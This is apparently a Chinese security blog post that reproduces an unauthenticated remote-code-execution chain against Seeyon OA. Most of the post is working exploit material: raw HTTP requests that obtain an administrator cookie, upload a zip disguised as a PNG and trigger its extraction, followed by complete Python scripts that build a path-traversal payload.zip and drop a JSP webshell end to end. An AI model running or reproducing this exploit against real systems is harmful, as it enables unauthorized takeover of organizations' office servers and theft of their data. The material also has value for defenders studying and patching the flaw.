致远OA 前台getshell 复现

作者: print("") 分类: 漏洞复现 发布时间: 2021-04-09 17:32

首先是一个获取管理cookie的漏洞。然后上传压缩文件进行解压。达到getshell的目的

POST /seeyon/thirdpartyController.do HTTP/1.1
Host: 192.168.10.2
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 133
Content-Type: application/x-www-form-urlencoded

method=access&enc=TT5uZnR0YmhmL21qb2wvZXBkL2dwbWVmcy9wcWZvJ04%2BLjgzODQxNDMxMjQzNDU4NTkyNzknVT4zNjk0NzI5NDo3MjU4&clientPath=127.0.0.1

上传压缩包

POST /seeyon/fileUpload.do?method=processUpload HTTP/1.1
Host:192.168.10.2
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.25.1
Cookie: JSESSIONID=3495C4DEF87200EA323B1CA31E3B7DF5
Content-Length: 841
Content-Type: multipart/form-data; boundary=59229605f98b8cf290a7b8908b34616b

--59229605f98b8cf290a7b8908b34616b
Content-Disposition: form-data; name="firstSave"

true
--59229605f98b8cf290a7b8908b34616b
Content-Disposition: form-data; name="callMethod"

resizeLayout
--59229605f98b8cf290a7b8908b34616b
Content-Disposition: form-data; name="isEncrypt"

0
--59229605f98b8cf290a7b8908b34616b
Content-Disposition: form-data; name="takeOver"

false
--59229605f98b8cf290a7b8908b34616b
Content-Disposition: form-data; name="type"

0
--59229605f98b8cf290a7b8908b34616b
Content-Disposition: form-data; name="file1"; filename="11.png"
Content-Type: image/png

111
--59229605f98b8cf290a7b8908b34616b--

然后解压

POST /seeyon/ajax.do HTTP/1.1
Host: 192.168.10.2
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie: JSESSIONID=BDF7358D4C35C6D2BB99FADFEE21F913
Content-Length: 157

method=ajaxAction&managerName=portalDesignerManager&managerMethod=uploadPageLayoutAttachment&arguments=%5B0%2C%222021-04-09%22%2C%225818374431215601542%22%5D

getshell 脚本

# coding: utf-8
import requests
import re
import time

proxy = {'http': '127.0.0.1:8080', 'https': '127.0.0.1:8080'}


def seeyon_new_rce(targeturl):
    orgurl = targeturl

    # 通过请求直接获取管理员权限cookie
    targeturl = orgurl + 'seeyon/thirdpartyController.do'
    post={"method":"access","enc":"TT5uZnR0YmhmL21qb2wvZXBkL2dwbWVmcy9wcWZvJ04+LjgzODQxNDMxMjQzNDU4NTkyNzknVT4zNjk0NzI5NDo3MjU4","clientPath":"127.0.0.1"}
    response = requests.post(url=targeturl,data=post,proxies=proxy, timeout=60,verify=False)
    rsp = ""
    if response and response.status_code == 200 and 'set-cookie' in str(response.headers).lower():
        cookies = response.cookies
        cookies = requests.utils.dict_from_cookiejar(cookies)
        # 上传压缩文件
        aaa=cookies['JSESSIONID']
        print(aaa)
        targeturl = orgurl + 'seeyon/fileUpload.do?method=processUpload'
        files = [('file1', ('11.png', open('1.zip', 'r'), 'image/png'))]
        print()
        headers = {'Cookie':"JSESSIONID=%s"%aaa}
        data = {'callMethod': 'resizeLayout', 'firstSave': "true", 'takeOver':"false", "type": '0',
                'isEncrypt': "0"}
        response = requests.post(url=targeturl,files=files,data=data, headers=headers,proxies=proxy,timeout=60,verify=False)
        if response.text:
            reg = re.findall('fileurls=fileurls\+","\+\'(.+)\'',response.text,re.I)
            print(reg)
            if len(reg)==0:
                exit("匹配失败")
            fileid=reg[0]
            targeturl = orgurl + 'seeyon/ajax.do'
            datestr = time.strftime('%Y-%m-%d')
            post = 'method=ajaxAction&managerName=portalDesignerManager&managerMethod=uploadPageLayoutAttachment&arguments=%5B0%2C%22' + datestr + '%22%2C%22' + fileid + '%22%5D'
            #headers = {'Cookie': cookies}
            headers['Content-Type']="application/x-www-form-urlencoded"
            response = requests.post(targeturl, data=post,headers=headers,proxies=proxy,timeout=60,verify=False)
            print(response.text)

seeyon_new_rce("https://baidu.com/")

shell地址:/seeyon/common/designer/pageLayout/a2345678.jsp

这个压缩包得自己生成了。压缩包里面一定得带有layout.xml  这个文件。空文件也行

例如这样的

演示的压缩包如下:

https://www.o2oxy.cn/wp-content/uploads/2021/04/1.zip

payload.zip 生产器

#coding: utf-8
import zipfile
def  write_zipfile():
    fname='../12345678.jsp'
    content=r'webshell内容'
    zf=zipfile.ZipFile('payload.zip',mode='a',compression=zipfile.ZIP_DEFLATED,)
    zf.writestr('layout.xml',"")
    zf.writestr(fname,content)

最终代码如下:

#coding:utf-8
import time
import datetime
import zipfile
import random
import string
import requests
import re
import os


requests.packages.urllib3.disable_warnings()


proxy = {'http': '127.0.0.1:8080', 'https': '127.0.0.1:8080'}
ua = "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)"

def check_file():
    path = os.getcwd()
    file_path = os.path.join(path,"payload.zip")
    if os.path.exists(file_path):
        os.remove(file_path)


def write_zipfile(fname, content):
    with zipfile.ZipFile(
            'payload.zip',
            mode='a',
            compression=zipfile.ZIP_DEFLATED,
    ) as zf:
        zf.writestr('layout.xml', "")
        zf.writestr(fname, content)



def rand_str(num):
    ran_str = ''.join(random.sample(string.ascii_letters + string.digits, num))
    return ran_str

def get_cookie(targeturl):
    headers = {'User-Agent': ua,'Content-Type': 'application/x-www-form-urlencoded'}
    url = '{targeturl}/seeyon/thirdpartyController.do'.format(targeturl=targeturl)
    post="method=access&enc=TT5uZnR0YmhmL21qb2wvZXBkL2dwbWVmcy9wcWZvJ04+LjgzODQxNDMxMjQzNDU4NTkyNzknVT4zNjk0NzI5NDo3MjU4&clientPath=127.0.0.1".encode("utf-8")
    response = requests.post(url=url,data=post,proxies=proxy,headers=headers, timeout=60,verify=False)
    if response and response.status_code == 200 and 'set-cookie' in str(response.headers).lower():
        cookies = response.cookies
        cookies = requests.utils.dict_from_cookiejar(cookies)
        jsessionid = cookies['JSESSIONID']
        print("[+] get cookie:{jsessionid}".format(jsessionid=jsessionid))
        return jsessionid
    else:
        print('[-] get cookie error !')
        exit()
    
def upload_zip(targeturl,cookie):
    url = '{targeturl}/seeyon/fileUpload.do?method=processUpload'.format(targeturl=targeturl)
    files = [('file1', ('11.png', open('payload.zip', 'rb'), 'application/octet-stream'))]
    headers = {'Cookie':'JSESSIONID={cookie}'.format(cookie=cookie),'User-Agent': ua}
    post = {'callMethod': 'resizeLayout', 'firstSave': "true", 'takeOver':"false", "type": '0',
                'isEncrypt': "0"}
    response = requests.post(url=url,files=files,data=post, headers=headers,proxies=proxy,timeout=60,verify=False)
    if response and response.status_code == 200 and 'fileurls=' in response.text:
            fileid = re.findall('fileurls=fileurls\+","\+\'(.+)\'',response.text,re.I)
            if len(fileid) > 0:
                print("[+] get fileid:{fileid}".format(fileid=fileid))
                return fileid[0]
            else:
                print("[-] get fileid error !")
                exit()

def extract_file(targeturl,cookie,fileid):
    url = '{targeturl}/seeyon/ajax.do'.format(targeturl=targeturl)
    headers = {'Cookie':'JSESSIONID={cookie}'.format(cookie=cookie),'User-Agent': ua, 'Content-Type':'application/x-www-form-urlencoded'}
    datestr = time.strftime('%Y-%m-%d')
    post = f'method=ajaxAction&managerName=portalDesignerManager&managerMethod=uploadPageLayoutAttachment&arguments=%5B0%2C%22{datestr}%22%2C%22{fileid}%22%5D'
    response = requests.post(url, data=post,headers=headers,proxies=proxy,timeout=60,verify=False)
    if response.status_code == 500 and "Error" in response.text:
        print("[+] extract file is ok!")
        return True
    else:
        print("[-] extract file error !")
        exit()




def main(targeturl):
    fname = f'../{rand_str(8)}.jsp'
    shell = r'<% out.println(new String(new sun.misc.BASE64Decoder().decodeBuffer("ZTE2NTQyMTExMGJhMDMwOTlhMWMwMzkzMzczYzViNDM=")));new java.io.File(application.getRealPath(request.getServletPath())).delete();%>'
    check_file()
    write_zipfile(fname,shell)
    cookie = get_cookie(targeturl)
    fileid = upload_zip(targeturl, cookie)
    if extract_file(targeturl, cookie, fileid):
        url = targeturl + '/seeyon/common/designer/pageLayout/{fname}'.format(fname=fname.split('/')[1])
        print("webshell path: {url}".format(url=url))




if __name__ == '__main__':
    targeturl = "http://www.baidu.com"
    main(targeturl)

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